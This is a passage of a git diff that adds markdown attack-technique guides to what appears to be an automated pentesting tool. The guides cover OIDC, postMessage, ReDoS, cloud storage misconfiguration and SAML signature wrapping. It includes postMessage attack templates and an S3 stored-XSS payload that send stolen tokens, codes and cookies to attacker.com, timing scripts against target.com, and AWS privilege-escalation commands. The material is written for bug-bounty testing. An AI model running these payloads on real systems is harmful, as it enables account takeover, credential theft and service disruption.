# Test if token grants those scopes even if consent not properly validated
|
||||
```
|
||||
|
||||
## Provider-Specific Attacks
|
||||
|
||||
### Google
|
||||
|
||||
```
|
||||
# hd (hosted domain) parameter bypass:
|
||||
/oauth2/auth?hd=attacker.com vs target app expects hd=targetcorp.com
|
||||
# If app validates hd on frontend but not when processing id_token → bypass
|
||||
|
||||
# Client email enumeration via oauth
|
||||
```
|
||||
|
||||
### Apple Sign In
|
||||
|
||||
```
|
||||
# Email relay service — each app gets different email
|
||||
# app-specific-relay@privaterelay.appleid.com
|
||||
# User merging: if app merges by email, different apps share account?
|
||||
```
|
||||
|
||||
### Auth0
|
||||
|
||||
```
|
||||
# /authorize?connection=bypass
|
||||
# Test switching connection to bypass MFA or policy
|
||||
# Universal Login bypass via legacy lock parameters
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Map OIDC flows** — Which response_types? Code, implicit, hybrid?
|
||||
2. **Check state validation** — Remove state param, replay state across sessions
|
||||
3. **Check nonce validation** — Capture and replay id_token in new session
|
||||
4. **Validate iss and aud** — Submit id_token from your own registered app
|
||||
5. **Test scope enumeration** — Add undocumented/admin scopes
|
||||
6. **Test PKCE enforcement** — Initiate flow without code_challenge
|
||||
7. **Check UserInfo endpoint** — Test with invalid/expired tokens, other users' tokens
|
||||
8. **Check token leakage** — Does response_type put tokens in URL?
|
||||
9. **Provider confusion** — Can you switch providers? Is issuer validated strictly?
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate authentication as a different user using the attack technique
|
||||
2. Show the specific claim (sub, email, iss, aud) that was manipulated or bypassed
|
||||
3. For token replay: show same id_token used across multiple sessions
|
||||
4. Provide the authorization request and token payload before/after manipulation
|
||||
|
||||
## False Positives
|
||||
|
||||
- nonce properly validated on server side before creating session
|
||||
- aud strictly compared to registered client_id only
|
||||
- PKCE enforced with server-side code_verifier validation
|
||||
- state entropy sufficient and validated per-session
|
||||
|
||||
## Impact
|
||||
|
||||
- Authentication bypass → account takeover
|
||||
- Cross-application token reuse → access to other integrated apps
|
||||
- Session fixation via CSRF on login
|
||||
- PII exposure via over-scoped access tokens
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. OIDC discovery document (`/.well-known/openid-configuration`) is your first stop
|
||||
2. Decode id_token with jwt.io — check iss, aud, nonce, sub, exp claims
|
||||
3. `state` bypass in OAuth/OIDC is still commonly found — test every SSO integration
|
||||
4. Multi-tenant apps often trust iss from any tenant → cross-tenant token abuse
|
||||
5. Check if app supports multiple OIDC providers and whether iss is strictly pinned per-provider
|
||||
6. hybrid flow response_type putting tokens in URL is automatic P2/P3 finding
|
||||
7. Auth0 misconfigurations in multi-application setups are a frequent source of bugs
|
||||
|
||||
## Summary
|
||||
|
||||
OIDC builds identity on OAuth's authorization layer. Each additional component (nonce, iss, aud, state, PKCE) is a potential bypass point. Validate the full token: signature, expiry, issuer, audience, nonce, and session binding. Provider confusion and state bypass are the most commonly missed.
|
||||
238
strix/skills/vulnerabilities/postmessage_attacks.md
Normal file
238
strix/skills/vulnerabilities/postmessage_attacks.md
Normal file
|
|
@ -0,0 +1,238 @@
|
|||
---
|
||||
name: postmessage-attacks
|
||||
description: PostMessage security testing — origin validation bypass, data injection, and cross-frame communication attacks
|
||||
---
|
||||
|
||||
# PostMessage Attacks
|
||||
|
||||
`window.postMessage` enables cross-origin communication between frames, windows, and workers. Improper origin validation or insecure message handlers allow attackers to inject messages, steal data from cross-origin frames, or trigger actions on behalf of the victim.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Common Uses**
|
||||
- OAuth popup callbacks (`code`, `token` returned via postMessage)
|
||||
- Payment provider iframes (Stripe, PayPal, Adyen)
|
||||
- SSO login flows
|
||||
- Chat widget integration
|
||||
- Cross-origin advertising iframes
|
||||
- Analytics/telemetry cross-frame communication
|
||||
- Browser extensions communicating with page
|
||||
|
||||
**Vulnerable Patterns**
|
||||
```javascript
|
||||
// No origin check (Critical):
|
||||
window.addEventListener('message', function(e) {
|
||||
document.location = e.data.url; // Open redirect
|
||||
eval(e.data.code); // XSS
|
||||
fetch(e.data.endpoint, {method:'POST', body: e.data.payload});
|
||||
});
|
||||
|
||||
// Weak origin check:
|
||||
window.addEventListener('message', function(e) {
|
||||
if (e.origin.includes('legit.com')) { // Bypass: legit.com.attacker.com
|
||||
executeCommand(e.data);
|
||||
}
|
||||
});
|
||||
|
||||
// Wildcard target origin (data leakage):
|
||||
iframe.contentWindow.postMessage(sensitiveData, '*');
|
||||
```
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Missing Origin Validation
|
||||
|
||||
```javascript
|
||||
// Vulnerable handler — no origin check:
|
||||
window.addEventListener('message', event => {
|
||||
if (event.data.type === 'navigate') {
|
||||
window.location.href = event.data.url;
|
||||
}
|
||||
if (event.data.type === 'exec') {
|
||||
eval(event.data.code);
|
||||
}
|
||||
});
|
||||
|
||||
// Attack from attacker.com:
|
||||
<script>
|
||||
var victim = window.open('https://target.com');
|
||||
setTimeout(() => {
|
||||
victim.postMessage({type: 'navigate', url: 'javascript:alert(1)'}, '*');
|
||||
}, 2000);
|
||||
</script>
|
||||
```
|
||||
|
||||
### Weak Origin Validation Bypasses
|
||||
|
||||
```javascript
|
||||
// Target checks: e.origin === 'https://legit.com'
|
||||
// But check is:
|
||||
if (e.origin.indexOf('legit.com') !== -1) // Bypass: https://legit.com.evil.com
|
||||
if (e.origin.includes('legit.com')) // Bypass: https://legit.com.evil.com
|
||||
if (e.origin.match(/legit\.com/)) // Bypass: https://evillegit.com
|
||||
|
||||
// Register: legit.com.attacker.com → sends postMessage → origin check passes
|
||||
```
|
||||
|
||||
### Wildcard Target Origin
|
||||
|
||||
```javascript
|
||||
// Sender uses * — sends sensitive data to any origin:
|
||||
window.parent.postMessage({token: secretToken, user: userData}, '*');
|
||||
|
||||
// Attacker frames the target page:
|
||||
<iframe src="https://target.com/oauth/callback"></iframe>
|
||||
// Listens for the message with wildcard origin
|
||||
<script>
|
||||
window.addEventListener('message', function(e) {
|
||||
fetch('https://attacker.com/?token=' + JSON.stringify(e.data));
|
||||
});
|
||||
</script>
|
||||
```
|
||||
|
||||
### OAuth Code/Token via PostMessage
|
||||
|
||||
```javascript
|
||||
// Many OAuth flows return code/token via postMessage to opener:
|
||||
// opener.postMessage({code: authCode, state: state}, '*');
|
||||
// Or with broad origin: 'https://app.com'
|
||||
|
||||
// Attack:
|
||||
// 1. Open victim's OAuth flow as popup from attacker page
|
||||
// 2. Listen for postMessage response
|
||||
// 3. Intercept authorization code/token
|
||||
<script>
|
||||
window.addEventListener('message', function(e) {
|
||||
if (e.data.code) {
|
||||
// Exchange code for access token (CSRF bypass via postMessage)
|
||||
fetch('/https://attacker.com/?stolen_code=' + e.data.code);
|
||||
}
|
||||
});
|
||||
window.open('https://target.com/oauth/authorize?client_id=X&redirect_uri=https://target.com/callback');
|
||||
</script>
|
||||
```
|
||||
|
||||
### Message Injection via Subframe
|
||||
|
||||
```javascript
|
||||
// If target page embeds an iframe from attacker-controlled subdomain:
|
||||
// xss.target.com (via subdomain takeover) can postMessage to parent
|
||||
// Parent trusts messages from *.target.com origin
|
||||
|
||||
// Attack:
|
||||
// 1. Take over subdomain: xss.target.com
|
||||
// 2. Host page that postMessages malicious data to parent
|
||||
// 3. Parent processes message (origin matches *.target.com)
|
||||
```
|
||||
|
||||
### JSON Data Injection
|
||||
|
||||
```javascript
|
||||
// Vulnerable handler processes JSON from postMessage:
|
||||
window.addEventListener('message', function(e) {
|
||||
var data = JSON.parse(e.data);
|
||||
document.getElementById(data.elementId).innerHTML = data.content;
|
||||
});
|
||||
|
||||
// Attack:
|
||||
postMessage('{"elementId":"output","content":"<img src=x onerror=alert(1)>"}', '*');
|
||||
```
|
||||
|
||||
## Finding PostMessage Handlers
|
||||
|
||||
```javascript
|
||||
// Static analysis in JS:
|
||||
grep -r "addEventListener.*message" *.js
|
||||
grep -r "postMessage" *.js
|
||||
|
||||
// Dynamic instrumentation in browser console:
|
||||
// Override addEventListener to log all message handlers:
|
||||
var origAddEventListener = window.addEventListener;
|
||||
window.addEventListener = function(type, handler, ...args) {
|
||||
if (type === 'message') {
|
||||
console.log('PostMessage handler registered:', handler.toString());
|
||||
}
|
||||
return origAddEventListener.call(this, type, handler, ...args);
|
||||
};
|
||||
|
||||
// Burp DOM Invader:
|
||||
// Enables automatic postMessage probing and canary injection
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Find message handlers** — Grep JS source for `addEventListener('message'` and `onmessage`
|
||||
2. **Check origin validation** — Does handler verify `e.origin`? How?
|
||||
3. **Test origin bypass** — Register lookalike domain if check is weak
|
||||
4. **Test no-origin case** — Send postMessage from attacker origin, observe behavior
|
||||
5. **Test data injection** — Send XSS payloads, URLs, commands in message data
|
||||
6. **Find wildcard senders** — Look for `postMessage(data, '*')` sending sensitive data
|
||||
7. **Test OAuth flows** — Does code/token return via postMessage? Can it be intercepted?
|
||||
8. **Test iframe scenarios** — Can target be framed, and does it leak data?
|
||||
|
||||
## Attack Template
|
||||
|
||||
```html
|
||||
<!-- attacker.com/attack.html -->
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<body>
|
||||
<script>
|
||||
// Step 1: Open target in popup/iframe
|
||||
var target = window.open('https://target.com/page-with-handler');
|
||||
|
||||
// Step 2: Listen for responses
|
||||
window.addEventListener('message', function(e) {
|
||||
console.log('Received:', e.origin, e.data);
|
||||
fetch('https://attacker.com/log?data=' + encodeURIComponent(JSON.stringify({
|
||||
origin: e.origin,
|
||||
data: e.data
|
||||
})));
|
||||
});
|
||||
|
||||
// Step 3: After target loads, send malicious message
|
||||
setTimeout(function() {
|
||||
target.postMessage({type: 'action', url: 'javascript:alert(document.cookie)'}, '*');
|
||||
// Or:
|
||||
target.postMessage({command: 'navigate', href: 'http://attacker.com'}, '*');
|
||||
}, 3000);
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
## Validation
|
||||
|
||||
1. Demonstrate that a message from attacker origin is processed by the target handler
|
||||
2. Show XSS execution, data theft, or action taken based on attacker-controlled postMessage
|
||||
3. For wildcard sender: show the sensitive data received by attacker-controlled listener
|
||||
4. Provide the specific handler code and bypass demonstration
|
||||
|
||||
## False Positives
|
||||
|
||||
- Strict origin validation: `e.origin === 'https://exact-domain.com'`
|
||||
- Handler only processes non-sensitive public data
|
||||
- No useful actions in handler (logging only)
|
||||
- CSP blocks execution of injected code
|
||||
|
||||
## Impact
|
||||
|
||||
- XSS via eval or innerHTML in postMessage handler
|
||||
- Open redirect via URL in postMessage
|
||||
- OAuth token/code theft via wildcard origin
|
||||
- CSRF-like action execution without traditional CSRF token
|
||||
- Data exfiltration from cross-origin frames
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. DOM Invader in Burp automatically tests postMessage handlers with probe messages
|
||||
2. Look for popup-based OAuth flows — they almost always use postMessage
|
||||
3. Wildcard target origin `postMessage(data, '*')` is automatic finding if data is sensitive
|
||||
4. Subdomain takeover + postMessage = trusted origin injection
|
||||
5. `e.source` is the sending window — check if handler verifies both origin AND source
|
||||
6. `window.onmessage` is equivalent to `addEventListener('message')` — check both
|
||||
7. Service workers also use message events — test those too
|
||||
|
||||
## Summary
|
||||
|
||||
PostMessage attacks exploit missing or weak origin validation in cross-frame communication. Find handlers in JavaScript source, verify origin validation strength, and craft messages from attacker origins or lookalike domains. OAuth code theft via postMessage with wildcard target origin is the highest-impact variant.
|
||||
190
strix/skills/vulnerabilities/regex_dos.md
Normal file
190
strix/skills/vulnerabilities/regex_dos.md
Normal file
|
|
@ -0,0 +1,190 @@
|
|||
---
|
||||
name: regex-dos
|
||||
description: Regular expression denial of service (ReDoS) — detecting catastrophic backtracking in web application regex patterns
|
||||
---
|
||||
|
||||
# Regular Expression DoS (ReDoS)
|
||||
|
||||
ReDoS exploits catastrophic backtracking in regular expressions — where certain input patterns cause exponential matching time. A single crafted string can lock a regex engine for seconds or minutes, effectively DoS-ing the application. ReDoS is particularly impactful in Node.js (single-threaded) and any synchronous regex usage in hot paths.
|
||||
|
||||
## How It Works
|
||||
|
||||
Vulnerable regex patterns with nested quantifiers and overlapping character classes cause exponential backtracking:
|
||||
|
||||
```python
|
||||
# Vulnerable pattern:
|
||||
import re
|
||||
pattern = re.compile(r'^(a+)+$') # Catastrophic!
|
||||
# Test with: "aaaaaaaaaaaaaaaaaaaax"
|
||||
# The regex tries every combination of how to split the 'a's → exponential
|
||||
|
||||
# Another example:
|
||||
r'^(a|aa)+$' # Catastrophic
|
||||
r'^(\w+\s*)+$' # Catastrophic on: "aaaa aaaa aaaa aaaa aaaa aaaa!"
|
||||
r'^([a-zA-Z]+)*$' # Catastrophic
|
||||
```
|
||||
|
||||
## Vulnerable Patterns
|
||||
|
||||
```regex
|
||||
# Nested quantifiers:
|
||||
(a+)+ → catastrophic
|
||||
(a|a?)+ → catastrophic
|
||||
(.*a){x} → catastrophic for large x
|
||||
|
||||
# Alternation with overlap:
|
||||
(a|aa)+
|
||||
([a-z]|[a-z])+
|
||||
(hello|hell)+
|
||||
|
||||
# Real-world examples:
|
||||
# Email validation:
|
||||
^([a-zA-Z0-9])(([\\-.]|[_]+)?([a-zA-Z0-9]+))*(@){1}[a-z0-9]+[.]{1}(([a-z]{2,3})|([a-z]{2,3}[.]{1}[a-z]{2,3}))$
|
||||
|
||||
# URL validation:
|
||||
^(https?:\/\/)?([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/?$
|
||||
|
||||
# Passport/visa number:
|
||||
^[a-zA-Z0-9<]{0,10}[a-zA-Z0-9 ]{0,10}$ # Depends on context
|
||||
|
||||
# Date parsing:
|
||||
^\d{1,2}\/\d{1,2}\/\d{2,4}$ # Usually safe
|
||||
(\d+\.)+\d+ # Version numbers: safe-ish but can be slow
|
||||
```
|
||||
|
||||
## Attack Vectors
|
||||
|
||||
**Form inputs processed by regex validation**
|
||||
```
|
||||
# Email validation (target: email fields)
|
||||
# Craft: aaaaaaaaaaaaaaaaaaaaaaaaa@
|
||||
# Or: test@aaaaaaaaaaaaaaaaaaaaaa.
|
||||
|
||||
# Username validation
|
||||
# Craft: aaaaaaaaaaaaaaaaaaa! (where ! doesn't match pattern)
|
||||
|
||||
# Phone number
|
||||
# Password strength meter (heavy regex in real-time validation)
|
||||
|
||||
# Search boxes with regex-based filtering
|
||||
# URL validation
|
||||
```
|
||||
|
||||
**Header values**
|
||||
```
|
||||
User-Agent: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!
|
||||
Referer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/
|
||||
Accept-Language: aaaa-aaaa-aaaa-aaaa-aaaa-aaaa-aaaa-aaaa!
|
||||
```
|
||||
|
||||
**Node.js Specifics**
|
||||
|
||||
Node.js is single-threaded — one ReDoS attack blocks ALL concurrent requests:
|
||||
```javascript
|
||||
// Particularly vulnerable: Express middleware, Joi/Yup validation
|
||||
// express-validator, input validation libraries
|
||||
// Moment.js date parsing (historical vulnerabilities)
|
||||
```
|
||||
|
||||
## Crafting ReDoS Payloads
|
||||
|
||||
**For `(a+)+` pattern:**
|
||||
```
|
||||
"aaaaaaaaaaaaaaaaaaaax" # 20 a's followed by non-matching char
|
||||
# Doubling: a, aa, aaaa, aaaaaaaa — find where time increases exponentially
|
||||
```
|
||||
|
||||
**For `(\w+\s*)+` pattern:**
|
||||
```
|
||||
"aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa!"
|
||||
```
|
||||
|
||||
**General methodology:**
|
||||
1. Identify the regex pattern (source code, error messages, library docs)
|
||||
2. Find the nested quantifier or overlapping alternation
|
||||
3. Craft input matching the repetition group pattern + non-matching character at end
|
||||
4. Measure response time with increasing input length
|
||||
|
||||
## Detection
|
||||
|
||||
```python
|
||||
# Test with progressively longer inputs
|
||||
import requests, time
|
||||
|
||||
payloads = [
|
||||
"a" * 10 + "!",
|
||||
"a" * 20 + "!",
|
||||
"a" * 30 + "!",
|
||||
"a" * 40 + "!",
|
||||
]
|
||||
|
||||
for p in payloads:
|
||||
start = time.time()
|
||||
r = requests.post("https://target.com/register", data={"email": p})
|
||||
elapsed = time.time() - start
|
||||
print(f"len={len(p)}, time={elapsed:.2f}s")
|
||||
|
||||
# Exponential time increase = ReDoS confirmed
|
||||
```
|
||||
|
||||
## Tools
|
||||
|
||||
```bash
|
||||
# RXXR2 — static analysis for vulnerable regex
|
||||
rxxr2 -f pattern.txt
|
||||
|
||||
# Regex101 — test regex performance interactively (web)
|
||||
# regex101.com → enable debugger → count steps
|
||||
|
||||
# NodeJSScan — scans Node.js for ReDoS
|
||||
nodesecurity check
|
||||
|
||||
# safe-regex npm package
|
||||
safe-regex '(a+)+' # Returns false if vulnerable
|
||||
|
||||
# vuln-regex-detector
|
||||
python3 vuln-regex-detector.py "^(a+)+$"
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Identify input validation** — Find all form fields with client-side or server-side validation
|
||||
2. **Source code review** — Look for regex patterns with nested quantifiers
|
||||
3. **Time-based testing** — Send inputs of increasing length, measure response time
|
||||
4. **Focus on Node.js** — Highest impact due to single-threaded event loop
|
||||
5. **Test real-time validation** — Password meters, email validators, search boxes
|
||||
6. **Check dependencies** — `npm audit` / `pip audit` for regex-vulnerable libraries
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show response times with different input lengths demonstrating exponential growth
|
||||
2. Calculate the "evil input" length that causes >2 second delay
|
||||
3. Show that legitimate inputs respond normally (< 100ms)
|
||||
4. Identify the specific regex and vulnerable pattern structure
|
||||
|
||||
## False Positives
|
||||
|
||||
- Linear or logarithmic time increase (not catastrophic)
|
||||
- Timeout protection preventing long-running regex
|
||||
- Server-side caching returning pre-computed results
|
||||
- Input length limits preventing long payloads
|
||||
|
||||
## Impact
|
||||
|
||||
- DoS of Node.js applications (blocks event loop, affects all users)
|
||||
- Application-level DoS requiring only HTTP requests (no bandwidth attack)
|
||||
- In microservices: one vulnerable service can cascade
|
||||
- Rate limiting may not prevent ReDoS (1 request = DoS)
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. ReDoS is often accepted as P3/P4 in bug bounty — focus on Node.js for higher impact
|
||||
2. Email validation regex is the most common ReDoS vector in real apps
|
||||
3. Check open source libraries used for validation — npm/PyPI have many historical ReDoS CVEs
|
||||
4. `safe-regex` and `vuln-regex-detector` give you instant answers for code review
|
||||
5. For Cloudflare/CDN-protected apps, ReDoS may not be exploitable (CDN drops long-running requests)
|
||||
6. Combine with other findings: if you found a ReDoS, also note the lack of rate limiting
|
||||
|
||||
## Summary
|
||||
|
||||
ReDoS turns regex validation into a DoS vector. Find nested quantifiers and overlapping alternations, craft inputs with matching + non-matching characters, and measure exponential time growth. Node.js single-threaded event loop makes it the highest-impact target for ReDoS in web applications.
|
||||
229
strix/skills/vulnerabilities/s3_bucket_misconfig.md
Normal file
229
strix/skills/vulnerabilities/s3_bucket_misconfig.md
Normal file
|
|
@ -0,0 +1,229 @@
|
|||
---
|
||||
name: s3-bucket-misconfig
|
||||
description: Cloud storage misconfiguration testing — S3, GCS, Azure Blob public access, and privilege escalation
|
||||
---
|
||||
|
||||
# Cloud Storage Misconfiguration
|
||||
|
||||
Publicly exposed cloud storage buckets and containers are among the most commonly reported (and rewardable) findings in bug bounty. S3, GCS, and Azure Blob misconfigurations can expose sensitive files, enable data writes that lead to stored XSS or supply chain attacks, and provide a pivot to further cloud compromise.
|
||||
|
||||
## AWS S3
|
||||
|
||||
### Discovery
|
||||
|
||||
```bash
|
||||
# Direct access
|
||||
aws s3 ls s3://target-bucket --no-sign-request
|
||||
|
||||
# Name guessing patterns
|
||||
target, target-backup, target-dev, target-prod, target-assets, target-static
|
||||
target-logs, target-data, target-uploads, target-files, target-www
|
||||
target-YYYY, target-internal, target-cdn, target-images
|
||||
|
||||
# Tools
|
||||
S3Scanner -bucket target-backup --no-sign-request
|
||||
awscli: aws s3 ls s3://BUCKET --no-sign-request
|
||||
|
||||
# From web app
|
||||
# Check JS files for bucket URLs: s3.amazonaws.com/bucket or bucket.s3.amazonaws.com
|
||||
# Network tab: look for requests to amazonaws.com
|
||||
# Source maps, error messages, HTML comments
|
||||
|
||||
# Google dork
|
||||
site:s3.amazonaws.com "target.com" OR "target-backup" OR "targetcorp"
|
||||
```
|
||||
|
||||
### Misconfiguration Testing
|
||||
|
||||
```bash
|
||||
# List bucket (public read)
|
||||
aws s3 ls s3://target-bucket --no-sign-request
|
||||
|
||||
# Download file
|
||||
aws s3 cp s3://target-bucket/sensitive.txt /tmp/ --no-sign-request
|
||||
|
||||
# Upload file (public write — critical!)
|
||||
aws s3 cp /tmp/test.txt s3://target-bucket/test.txt --no-sign-request
|
||||
# If successful → stored XSS possible, supply chain attack if serving JS files
|
||||
|
||||
# ACL check
|
||||
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request
|
||||
|
||||
# Policy check
|
||||
aws s3api get-bucket-policy --bucket target-bucket --no-sign-request
|
||||
|
||||
# Public access block settings
|
||||
aws s3api get-public-access-block --bucket target-bucket
|
||||
|
||||
# CORS configuration
|
||||
aws s3api get-bucket-cors --bucket target-bucket --no-sign-request
|
||||
|
||||
# Versioning (old versions of "deleted" files)
|
||||
aws s3api list-object-versions --bucket target-bucket --no-sign-request
|
||||
```
|
||||
|
||||
### Sensitive Files to Look For
|
||||
|
||||
```
|
||||
# Credentials
|
||||
.env, .env.*, config.yml, database.yml, credentials.json, .aws/credentials
|
||||
# Backups
|
||||
*.sql, *.dump, *.bak, *.tar.gz, backup.zip
|
||||
# Source code
|
||||
*.py, *.js, *.php (not expected in public bucket)
|
||||
# Private data
|
||||
*.csv (user exports), *.xls (internal reports)
|
||||
# Keys
|
||||
*.pem, *.key, id_rsa, *.p12, *.pfx
|
||||
# Logs
|
||||
access.log, error.log, debug.log (may contain tokens/sessions)
|
||||
```
|
||||
|
||||
### Impact Escalation
|
||||
|
||||
```bash
|
||||
# If write access: stored XSS via uploaded HTML/JS
|
||||
echo '<script>document.location="http://attacker.com/?c="+document.cookie</script>' > xss.html
|
||||
aws s3 cp xss.html s3://target-assets/xss.html --no-sign-request --content-type text/html
|
||||
# Serve: https://target-assets.s3.amazonaws.com/xss.html
|
||||
# If target site loads scripts from this bucket → supply chain attack
|
||||
|
||||
# Check if bucket serves CDN/static assets
|
||||
# Find: <script src="https://s3.amazonaws.com/target-assets/app.js">
|
||||
# If writable: overwrite app.js → XSS for all users
|
||||
|
||||
# Check for pre-signed URL pattern
|
||||
# If bucket serves time-limited signed URLs, listing may still be possible
|
||||
```
|
||||
|
||||
### AWS Privilege Escalation from Leaked Keys
|
||||
|
||||
```bash
|
||||
# After finding AWS credentials:
|
||||
aws sts get-caller-identity # Identify role/user
|
||||
aws iam get-user
|
||||
aws iam list-attached-user-policies
|
||||
aws iam list-user-policies --user-name USERNAME
|
||||
aws s3 ls # List all accessible buckets
|
||||
|
||||
# Common escalation paths:
|
||||
# s3:GetObject on secrets bucket → credentials
|
||||
# iam:PassRole + ec2:RunInstances → EC2 with privileged role
|
||||
# lambda:UpdateFunctionCode → modify existing Lambda for code execution
|
||||
# ssm:GetParameter → fetch secrets from Parameter Store
|
||||
```
|
||||
|
||||
## Google Cloud Storage (GCS)
|
||||
|
||||
```bash
|
||||
# Public bucket test
|
||||
gsutil ls gs://target-backup
|
||||
gsutil ls -la gs://target-backup # With sizes
|
||||
|
||||
# Download
|
||||
gsutil cp gs://target-bucket/file.txt /tmp/
|
||||
|
||||
# Upload test
|
||||
gsutil cp /tmp/test.txt gs://target-bucket/test.txt
|
||||
|
||||
# Check IAM (allUsers read = public)
|
||||
gsutil iam get gs://target-bucket
|
||||
|
||||
# CORS config
|
||||
gsutil cors get gs://target-bucket
|
||||
|
||||
# Discovery via web
|
||||
# https://storage.googleapis.com/target-bucket/
|
||||
# Network requests to storage.googleapis.com
|
||||
```
|
||||
|
||||
## Azure Blob Storage
|
||||
|
||||
```bash
|
||||
# Check anonymous access
|
||||
curl https://ACCOUNT.blob.core.windows.net/CONTAINER?restype=container&comp=list
|
||||
|
||||
# List blobs
|
||||
az storage blob list --container-name CONTAINER --account-name ACCOUNT --output table
|
||||
|
||||
# Download
|
||||
curl https://ACCOUNT.blob.core.windows.net/CONTAINER/file.txt
|
||||
|
||||
# Pattern for account name discovery
|
||||
COMPANY, COMPANYdev, COMPANYprod, COMPANYstg, COMPANYbackup
|
||||
|
||||
# Google dork
|
||||
site:blob.core.windows.net "targetcompany"
|
||||
```
|
||||
|
||||
## Firebase / Firestore
|
||||
|
||||
```bash
|
||||
# Test public read
|
||||
curl "https://TARGET.firebaseio.com/.json"
|
||||
curl "https://TARGET.firebaseio.com/users.json"
|
||||
|
||||
# Public write
|
||||
curl -X PUT -d '{"test":"value"}' "https://TARGET.firebaseio.com/pwned.json"
|
||||
|
||||
# Firebase Storage
|
||||
curl "https://firebasestorage.googleapis.com/v0/b/TARGET.appspot.com/o"
|
||||
```
|
||||
|
||||
## CORS Misconfiguration on Storage
|
||||
|
||||
```bash
|
||||
# CORS allowing any origin on S3 static assets with credentials:
|
||||
# Attacker can read signed resources cross-origin
|
||||
|
||||
# Check CORS policy
|
||||
aws s3api get-bucket-cors --bucket target --no-sign-request
|
||||
# Dangerous: AllowedOrigin: *, AllowedMethod: GET+POST+DELETE
|
||||
```
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Discover bucket names** — JS analysis, network tab, error messages, dork patterns
|
||||
2. **Test list access** — `aws s3 ls --no-sign-request`
|
||||
3. **Test download** — Attempt to download sensitive files
|
||||
4. **Test upload** — Attempt write access (determine if XSS/supply chain possible)
|
||||
5. **Check CDN integration** — Is this bucket serving CSS/JS for production?
|
||||
6. **Enumerate old versions** — Check versioning for "deleted" sensitive files
|
||||
7. **Check signed URLs** — Are signed URLs time-limited? Can listing be performed?
|
||||
8. **Check CORS** — AllowedOrigins and methods
|
||||
|
||||
## Validation
|
||||
|
||||
1. List the bucket contents and show sensitive file names
|
||||
2. Download a non-sensitive file to prove read access
|
||||
3. For write: upload a benign test file (`test-bbounty-TIMESTAMP.txt`)
|
||||
4. For XSS potential: show the bucket serves JS/HTML to production and write access exists
|
||||
5. Document AWS account ID / resource ARN for scope confirmation
|
||||
|
||||
## False Positives
|
||||
|
||||
- Bucket is intentionally public (static website, public media CDN)
|
||||
- Files are non-sensitive (public marketing images, documentation)
|
||||
- Listing returns 403 but individual files may still be accessible (check specific paths)
|
||||
|
||||
## Impact
|
||||
|
||||
- Data exposure: PII, credentials, backups, source code
|
||||
- Supply chain attack: modifying shared JS/CSS assets → XSS for all users
|
||||
- Cloud credential theft: AWS/GCP keys in exposed configs
|
||||
- Compliance violations: GDPR, HIPAA, PCI-DSS for exposed customer data
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. Even "private" buckets may be publicly listable — always test without auth first
|
||||
2. If bucket serves production JS, write access = P1 critical (supply chain XSS)
|
||||
3. Object versioning keeps "deleted" files — always check with `list-object-versions`
|
||||
4. Bucket name + region = fixed — guess names from company patterns and common suffixes
|
||||
5. CloudFront CDN often fronts S3 — bucket may be public even if CDN appears private
|
||||
6. `AllUsers:READ` ACL on individual objects can expose files even in "private" buckets
|
||||
7. Check `robots.txt` and `sitemap.xml` for bucket URLs developers added by mistake
|
||||
8. GCS `allUsers` IAM binding = fully public — check `iam get` before manual testing
|
||||
|
||||
## Summary
|
||||
|
||||
Cloud storage misconfigurations expose data through public listing, direct file access, and write access enabling supply chain attacks. Discover buckets through JS analysis and dorks, test with no credentials first, and escalate to write access for maximum impact demonstration.
|
||||
196
strix/skills/vulnerabilities/saml_attacks.md
Normal file
196
strix/skills/vulnerabilities/saml_attacks.md
Normal file
|
|
@ -0,0 +1,196 @@
|
|||
---
|
||||
name: saml-attacks
|
||||
description: SAML authentication attack techniques including signature wrapping, XML injection, and SSO bypass
|
||||
---
|
||||
|
||||
# SAML Attacks
|
||||
|
||||
SAML (Security Assertion Markup Language) is widely used for enterprise SSO. Its XML-based structure, complex signature validation, and multiple processing paths create a rich attack surface. Signature wrapping, parser differentials, and broken XML canonicalization have led to critical authentication bypass vulnerabilities in major platforms.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**SAML Flow Components**
|
||||
- SP-initiated SSO: SP redirects to IdP, IdP returns signed assertion
|
||||
- IdP-initiated SSO: IdP pushes assertion directly to SP
|
||||
- Assertion Consumer Service (ACS) endpoint at SP
|
||||
- Attribute statements, NameID, session index
|
||||
- XML Digital Signatures (XMLDSig) and Encryption (XMLEnc)
|
||||
|
||||
**Protocols**
|
||||
- SAML 2.0 (HTTP-POST, HTTP-Redirect, Artifact bindings)
|
||||
- WS-Federation (used by Azure AD, ADFS)
|
||||
|
||||
**Input Vectors**
|
||||
- `SAMLResponse` POST parameter (base64-encoded XML)
|
||||
- `RelayState` parameter
|
||||
- `SAMLRequest` parameter
|
||||
- HTTP-Redirect binding with deflate+base64 encoding
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### XML Signature Wrapping (XSW)
|
||||
|
||||
The IdP signs a specific XML element, but the SP processes a different element. The attacker injects an unsigned copy of the assertion with modified attributes (e.g., different username/role) and moves the signed element to an irrelevant location that still validates.
|
||||
|
||||
**XSW Variants**
|
||||
```xml
|
||||
<!-- XSW1: Insert malicious assertion before signed one -->
|
||||
<samlp:Response>
|
||||
<saml:Assertion>MALICIOUS_ADMIN_ASSERTION</saml:Assertion>
|
||||
<saml:Assertion ID="signed_id">LEGITIMATE_ASSERTION<ds:Signature.../></saml:Assertion>
|
||||
</samlp:Response>
|
||||
|
||||
